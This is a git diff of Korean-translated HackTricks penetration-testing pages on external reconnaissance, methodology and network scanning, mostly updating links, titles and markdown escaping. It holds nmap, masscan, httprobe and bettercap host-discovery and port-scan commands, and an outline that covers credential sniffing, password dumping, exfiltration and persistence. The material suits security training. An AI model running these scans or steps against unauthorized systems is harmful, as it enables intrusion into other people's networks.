이제 **해당 범위에서 모든 IP**와 **도메인/서브도메인(DNS 쿼리)**을 다시 수집할 시간입니다.
|
||||
이제 **해당 범위에서 모든 IP**와 \*\*도메인/서브도메인(DNS 쿼리)\*\*을 다시 수집할 시간입니다.
|
||||
|
||||
다음 **무료 API 서비스**를 사용하여 **도메인 및 서브도메인이 사용한 이전 IP**를 찾을 수도 있습니다. 이러한 IP는 아직 클라이언트가 소유하고 있을 수 있으며 [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾을 수 있습니다.
|
||||
|
||||
|
@ -495,10 +575,12 @@ _가끔 서브도메인이 클라이언트가 제어하지 않는 IP에 호스
|
|||
|
||||
[**masscan을 사용하여 웹 서버와 관련된 열린 포트를 빠르게 찾을 수 있는 빠른 방법**은 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\
|
||||
다른 웹 서버를 찾는 데 유용한 도구로 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)가 있습니다. 도메인 목록을 전달하면 포트 80(http) 및 443(https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지시할 수도 있습니다.
|
||||
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
|
||||
### **스크린샷**
|
||||
|
||||
이제 **회사의 IP**와 **도메인** 및 **서브도메인** 중 **모든 웹 서버**를 발견했으므로 아마도 **어디서부터 시작해야 할지 모를 것**입니다. 그래서, 간단하게 시작하고 그들의 스크린샷을 찍는 것으로 시작합시다. **메인 페이지**를 살펴보기만 해도 **취약할 가능성이 높은** **이상한** 엔드포인트를 찾을 수 있습니다.
|
||||
|
@ -509,7 +591,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
## 공용 클라우드 자산
|
||||
|
||||
회사에 속한 잠재적인 클라우드 자산을 찾으려면 해당 회사를 식별하는 키워드 목록부터 시작해야 합니다. 예를 들어, 암호화폐 회사의 경우 "crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">와 같은 단어를 사용할 수 있습니다.
|
||||
회사에 속한 잠재적인 클라우드 자산을 찾으려면 해당 회사를 식별하는 키워드 목록부터 시작해야 합니다. 예를 들어, 암호화폐 회사의 경우 "crypto", "wallet", "dao", "\<domain\_name>", <"subdomain\_names">와 같은 단어를 사용할 수 있습니다.
|
||||
|
||||
또한 **버킷에 사용되는 일반 단어들의 단어 목록**이 필요합니다:
|
||||
|
||||
|
@ -519,7 +601,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
그런 다음 해당 단어들로 **순열을 생성**해야 합니다(자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 확인하십시오).
|
||||
|
||||
생성된 단어 목록을 사용하여 [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) 또는 [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.**
|
||||
생성된 단어 목록을 사용하여 [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper), [**cloudlist**](https://github.com/projectdiscovery/cloudlist) 또는 [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.**
|
||||
|
||||
클라우드 자산을 찾을 때 **AWS 버킷 이상을 찾아야** 한다는 것을 기억하십시오.
|
||||
|
||||
|
@ -598,6 +680,7 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
|
|||
또한 다음과 같은 무료 서비스를 사용하여 **공개 저장소를 스캔**할 수 있습니다:
|
||||
|
||||
* [**Snyk**](https://app.snyk.io/)
|
||||
|
||||
## [**웹 펜테스팅 방법론**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**버그 헌터들이 발견한 취약점의 대다수**는 **웹 애플리케이션** 내에 존재하기 때문에, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 있습니다. 이 정보는 [**여기에서 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/).
|
||||
|
@ -633,7 +716,7 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
|
|||
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 강좌, [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)와 같은 것들
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 넓은 소스 코드 검색
|
||||
# Wide Source Code Search
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,14 +9,14 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* \*\*💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -38,7 +38,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -51,7 +51,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* \*\*💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 펜테스팅 방법론
|
||||
# Pentesting Methodology
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
@ -28,7 +28,7 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
### 0- 물리적 공격
|
||||
|
||||
**공격하려는 기기에 물리적 액세스**가 있습니까? [**물리적 공격에 대한 트릭**](../physical-attacks/physical-attacks.md) 및 [**GUI 애플리케이션에서 탈출하는 방법**](../physical-attacks/escaping-from-gui-applications)을 읽어보세요.
|
||||
**공격하려는 기기에 물리적 액세스**가 있습니까? [**물리적 공격에 대한 트릭**](../hardware-physical-access/physical-attacks.md) 및 [**GUI 애플리케이션에서 탈출하는 방법**](../hardware-physical-access/escaping-from-gui-applications.md)을 읽어보세요.
|
||||
|
||||
### 1 - [네트워크 내의 호스트 발견](pentesting-network/#discovering-hosts)/ [회사 자산 발견](external-recon-methodology/)
|
||||
|
||||
|
@ -41,7 +41,7 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
### **2-** [**네트워크에서 재미있는 시간**](pentesting-network/) **(내부)**
|
||||
|
||||
**이 섹션은 내부 테스트를 수행하는 경우에만 해당됩니다.**\
|
||||
호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** 네트워크 내부에서 무엇을 찾을 수 있는지 **수동/능동적(MitM)**으로 알아보기 위해 **데이터를 스니핑**하는 것이 좋을 수 있습니다. [**펜테스팅 네트워크**](pentesting-network/#sniffing)를 읽어보세요.
|
||||
호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** 네트워크 내부에서 무엇을 찾을 수 있는지 \*\*수동/능동적(MitM)\*\*으로 알아보기 위해 **데이터를 스니핑**하는 것이 좋을 수 있습니다. [**펜테스팅 네트워크**](pentesting-network/#sniffing)를 읽어보세요.
|
||||
|
||||
### 3- [포트 스캔 - 서비스 발견](pentesting-network/#scanning-hosts)
|
||||
|
||||
|
@ -55,7 +55,7 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
실행 중인 서비스에 대한 멋진 취약점이 없는 경우, 각 서비스에서 **일반적인 구성 오류를 찾아야 합니다**.
|
||||
|
||||
**이 책 안에는 가장 일반적인 서비스를 펜테스트하는 가이드** (그리고 그렇게 흔하지 않은 것들도)**이 포함되어 있습니다.** 왼쪽 목차에서** _**PENTESTING**_ **섹션**을 찾아보세요 (서비스는 기본 포트에 따라 정렬됨).
|
||||
**이 책 안에는 가장 일반적인 서비스를 펜테스트하는 가이드** (그리고 그렇게 흔하지 않은 것들도)**이 포함되어 있습니다.** 왼쪽 목차에서\*\* _**PENTESTING**_ **섹션**을 찾아보세요 (서비스는 기본 포트에 따라 정렬됨).
|
||||
|
||||
**가장 넓은 부분인** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 대해 특별히 언급하고 싶습니다.**\
|
||||
또한 소프트웨어에서 [**알려진 취약점을 찾는 방법에 대한 작은 가이드**](search-exploits.md)도 여기에서 찾을 수 있습니다.
|
||||
|
@ -84,13 +84,14 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
쉘에 문제가 있다면 펜테스터에게 가장 유용한 명령어들의 작은 **모음**을 여기에서 찾을 수 있습니다:
|
||||
|
||||
* [**Linux**](../linux-hardening/useful-linux-commands/)
|
||||
* [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
|
||||
### **9 -** [**유출**](exfiltration.md)
|
||||
|
||||
피해자로부터 **일부 데이터를 추출**하거나 권한 상승 스크립트와 같은 것을 **소개**해야 할 수도 있습니다. 이러한 목적으로 사용할 수 있는 **일반 도구에 대한 포스트**가 [여기에 있습니다](exfiltration.md)**.**
|
||||
|
||||
### **10- 권한 상승**
|
||||
|
||||
#### **10.1- 로컬 권한 상승**
|
||||
|
@ -99,9 +100,9 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
여기서 [**Linux**](../linux-hardening/privilege-escalation/) **및** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬 권한 상승하는 가이드를 찾을 수 있습니다.**\
|
||||
또한 **Windows 작동 방식에 대한** 이 페이지들을 확인해야 합니다:
|
||||
|
||||
* [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* [**NTLM 작동 방식**](../windows-hardening/ntlm/)
|
||||
* Windows에서 [**자격 증명을 탈취하는**](broken-reference/) 방법
|
||||
* Windows에서 [**자격 증명을 탈취하는**](https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/broken-reference/README.md) 방법
|
||||
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)에 관한 몇 가지 요령
|
||||
|
||||
**Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최상의 도구를 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
@ -115,12 +116,12 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
#### **11**.1 - Looting
|
||||
|
||||
호스트 내에서 더 많은 **암호**를 찾을 수 있는지 또는 **사용자의 권한**으로 **다른 기기에 액세스**할 수 있는지 확인하세요.\
|
||||
여기서 [**Windows에서 암호 덤프하는 다양한 방법**](broken-reference/)을 찾을 수 있습니다.
|
||||
여기서 [**Windows에서 암호 덤프하는 다양한 방법**](https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/broken-reference/README.md)을 찾을 수 있습니다.
|
||||
|
||||
#### 11.2 - 지속성
|
||||
|
||||
**시스템을 다시 공격할 필요가 없도록 2개 또는 3개의 다른 유형의 지속성 메커니즘을 사용하세요.**\
|
||||
**여기서 [**Active Directory에서 지속성 요령**](../windows-hardening/active-directory-methodology/#persistence)**을 찾을 수 있습니다.**
|
||||
\*\*여기서 [**Active Directory에서 지속성 요령**](../windows-hardening/active-directory-methodology/#persistence)**을 찾을 수 있습니다.**
|
||||
|
||||
TODO: Windows 및 Linux에서 지속성 포스트 완성
|
||||
|
||||
|
@ -137,17 +138,17 @@ TODO: Windows 및 Linux에서 지속성 포스트 완성
|
|||
|
||||
#### **Exploiting**
|
||||
|
||||
* [**기본 Linux Exploiting**](../exploiting/linux-exploiting-basic-esp/)
|
||||
* [**기본 Windows Exploiting**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**기본 exploiting 도구**](../exploiting/tools/)
|
||||
* [**기본 Linux Exploiting**](../reversing-and-exploiting/linux-exploiting-basic-esp/)
|
||||
* [**기본 Windows Exploiting**](../reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**기본 exploiting 도구**](../reversing-and-exploiting/tools/)
|
||||
|
||||
#### [**기본 Python**](python/)
|
||||
|
||||
#### **암호 요령**
|
||||
|
||||
* [**ECB**](../cryptography/electronic-code-book-ecb.md)
|
||||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**패딩 오라클**](../cryptography/padding-oracle-priv.md)
|
||||
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
|
||||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**패딩 오라클**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 네트워크 펜테스팅
|
||||
# Pentesting Network
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* 회사를 **HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
@ -29,42 +29,52 @@ HackTricks를 지원하는 다른 방법:
|
|||
호스트가 작동 중인지 여부를 확인하는 가장 **쉽고 빠른** 방법입니다.\
|
||||
일부 **ICMP** 패킷을 보내고 **응답을 기대**할 수 있습니다. 가장 쉬운 방법은 **에코 요청**을 보내고 응답을 기다리는 것입니다. 간단한 `ping` 또는 **범위**에 대해 `fping`을 사용하여 수행할 수 있습니다.\
|
||||
또한 **nmap**을 사용하여 일반적인 ICMP 에코 요청-응답에 대한 필터를 피하기 위해 다른 유형의 ICMP 패킷을 보낼 수도 있습니다.
|
||||
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
|
||||
```
|
||||
|
||||
### TCP 포트 탐지
|
||||
|
||||
모든 종류의 ICMP 패킷이 필터링되는 경우가 매우 흔합니다. 그런 경우에는 호스트가 작동 중인지 확인하기 위해 **열린 포트를 찾아보는 것**이 가능합니다. 각 호스트에는 **65535개의 포트**가 있으므로, "큰" 범위를 가지고 있다면 각 호스트의 **각 포트**가 열려 있는지 여부를 테스트할 수 없습니다. 그렇게 하면 너무 많은 시간이 소요됩니다.\
|
||||
따라서, 필요한 것은 **빠른 포트 스캐너**([masscan](https://github.com/robertdavidgraham/masscan))와 **가장 많이 사용되는 포트 목록**입니다:
|
||||
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
```
|
||||
|
||||
이 단계는 `nmap`을 사용하여 수행할 수도 있지만, 그것은 느리고 호스트를 식별하는 데 문제가 있습니다.
|
||||
|
||||
### HTTP 포트 탐지
|
||||
|
||||
이것은 HTTP 서비스를 발견하는 데 유용한 TCP 포트 탐지입니다.
|
||||
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
|
||||
### UDP 포트 탐지
|
||||
|
||||
**호스트에 더 많은 관심을 기울여야 할지** 결정하기 위해 **UDP 포트가 열려 있는지** 확인해 볼 수도 있습니다. 일반적인 빈 UDP 프로브 패킷에 대해 UDP 서비스는 보통 **어떤 데이터도 응답하지 않기 때문에** 포트가 필터링되었는지 아니면 열려 있는지 알기 어렵습니다. 이를 결정하는 가장 쉬운 방법은 실행 중인 서비스와 관련된 패킷을 보내는 것인데, 실행 중인 서비스를 알지 못하기 때문에 포트 번호를 기반으로 가장 가능성이 높은 서비스를 시도해 보아야 합니다:
|
||||
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
|
||||
이전에 제안된 nmap 명령은 **/24** 범위 내의 모든 호스트에서 **상위 1000개의 UDP 포트**를 테스트하지만, 이 작업만으로도 **20분 이상** 소요됩니다. 더 **빠른 결과**가 필요한 경우 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)를 사용할 수 있습니다: `./udp-proto-scanner.pl 199.66.11.53/24` 이렇게 하면 이러한 **UDP 프로브**가 **예상 포트**로 전송됩니다 (/24 범위에 대해서는 1분만 소요됩니다): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTP 포트 탐지
|
||||
|
||||
```bash
|
||||
#Probably useless, but it's pretty fast, why not trying?
|
||||
nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
```
|
||||
|
||||
## Wifi 해킹
|
||||
|
||||
여기에서는 작성 시점의 모든 잘 알려진 Wifi 공격에 대한 좋은 가이드를 찾을 수 있습니다:
|
||||
|
@ -80,6 +90,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
|
|||
### 수동
|
||||
|
||||
다음 도구를 사용하여 연결된 네트워크 내부에서 호스트를 수동으로 발견할 수 있습니다:
|
||||
|
||||
```bash
|
||||
netdiscover -p
|
||||
p0f -i eth0 -p -o /tmp/p0f.log
|
||||
|
@ -88,10 +99,12 @@ net.recon on/off #Read local ARP cache periodically
|
|||
net.show
|
||||
set net.show.meta true #more info
|
||||
```
|
||||
|
||||
### Active
|
||||
|
||||
주의할 점은 [_**외부에서 호스트 찾기**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP 포트 찾기_)에서 설명한 기법들을 여기에도 **적용할 수 있다는 것**입니다.\
|
||||
하지만, 다른 호스트와 **동일한 네트워크**에 있기 때문에 **더 많은 작업**을 수행할 수 있습니다:
|
||||
|
||||
```bash
|
||||
#ARP discovery
|
||||
nmap -sn <Network> #ARP Requests (Discover IPs)
|
||||
|
@ -111,6 +124,7 @@ set net.probe.throttle 10 #10ms between probes sent (default=10)
|
|||
#IPv6
|
||||
alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
|
||||
### Active ICMP
|
||||
|
||||
_외부에서 호스트를 발견하는_ 기술에 대한 설명은 [_**ICMP**_](./#icmp)에서 주석으로 설명되어 있습니다.\
|
||||
|
@ -124,12 +138,14 @@ _외부에서 호스트를 발견하는_ 기술에 대한 설명은 [_**ICMP**_]
|
|||
|
||||
Wake On Lan은 **네트워크 메시지**를 통해 컴퓨터를 **켜는 데 사용**됩니다. 컴퓨터를 켜기 위해 사용되는 매직 패킷은 **MAC Dst**가 제공되고 그 후에 동일한 패킷 내에서 **16번 반복**됩니다.\
|
||||
그런 다음 이러한 종류의 패킷은 일반적으로 **이더넷 0x0842** 또는 **포트 9로의 UDP 패킷**으로 전송됩니다.\
|
||||
만약 **\[MAC]**이 제공되지 않으면, 패킷은 **브로드캐스트 이더넷**으로 전송됩니다 (브로드캐스트 MAC이 반복됩니다).
|
||||
만약 \*\*\[MAC]\*\*이 제공되지 않으면, 패킷은 **브로드캐스트 이더넷**으로 전송됩니다 (브로드캐스트 MAC이 반복됩니다).
|
||||
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||||
```
|
||||
|
||||
## 호스트 스캐닝
|
||||
|
||||
깊이 있는 스캔을 원하는 모든 IP(외부 또는 내부)를 발견한 후에는 다양한 작업을 수행할 수 있습니다.
|
||||
|
@ -140,6 +156,7 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
|||
* **닫힌** 포트: _SYN --> RST/ACK_
|
||||
* **필터링된** 포트: _SYN --> \[응답 없음]_
|
||||
* **필터링된** 포트: _SYN --> ICMP 메시지_
|
||||
|
||||
```bash
|
||||
# Nmap fast scan for the most 1000tcp ports used
|
||||
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
|
||||
|
@ -151,14 +168,16 @@ nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
|
|||
#Bettercap Scan
|
||||
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
```
|
||||
|
||||
### UDP
|
||||
|
||||
UDP 포트를 스캔하는 두 가지 옵션이 있습니다:
|
||||
|
||||
* UDP 패킷을 보내고, 포트가 **닫혀 있다면** 응답으로 _**ICMP unreachable**_을 확인합니다 (여러 경우에 ICMP가 **필터링**되어 포트가 열려 있거나 닫혀 있는지에 대한 정보를 받지 못할 수도 있습니다).
|
||||
* **포맷된 데이터그램**을 보내어 **서비스**로부터 응답을 유도합니다 (예: DNS, DHCP, TFTP 등, _nmap-payloads_에 명시된 다른 서비스들). 응답을 받으면, 포트는 **열려 있습니다**.
|
||||
* UDP 패킷을 보내고, 포트가 **닫혀 있다면** 응답으로 \_**ICMP unreachable**\_을 확인합니다 (여러 경우에 ICMP가 **필터링**되어 포트가 열려 있거나 닫혀 있는지에 대한 정보를 받지 못할 수도 있습니다).
|
||||
* **포맷된 데이터그램**을 보내어 **서비스**로부터 응답을 유도합니다 (예: DNS, DHCP, TFTP 등, \_nmap-payloads\_에 명시된 다른 서비스들). 응답을 받으면, 포트는 **열려 있습니다**.
|
||||
|
||||
**Nmap**은 "-sV"를 사용하여 두 옵션을 **혼합**합니다 (UDP 스캔은 매우 느립니다), 하지만 UDP 스캔은 TCP 스캔보다 느립니다:
|
||||
|
||||
```bash
|
||||
# Check if any of the most common udp services is running
|
||||
udp-proto-scanner.pl <IP>
|
||||
|
@ -170,19 +189,22 @@ nmap -sU -sV -sC -n -F -T4 <IP>
|
|||
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
# You could use nmap to test all the UDP ports, but that will take a lot of time
|
||||
```
|
||||
|
||||
### SCTP 스캔
|
||||
|
||||
**SCTP (Stream Control Transmission Protocol)**은 **TCP (Transmission Control Protocol)**와 **UDP (User Datagram Protocol)**와 함께 사용되도록 설계되었습니다. 주요 목적은 IP 네트워크 상에서 전화 데이터의 전송을 용이하게 하는 것으로, **Signaling System 7 (SS7)**에서 발견되는 신뢰성 기능을 많이 반영합니다. **SCTP**는 SS7 신호를 IP 네트워크 상에서 전송하기 위한 목적으로 설계된 **SIGTRAN** 프로토콜 패밀리의 핵심 구성 요소입니다.
|
||||
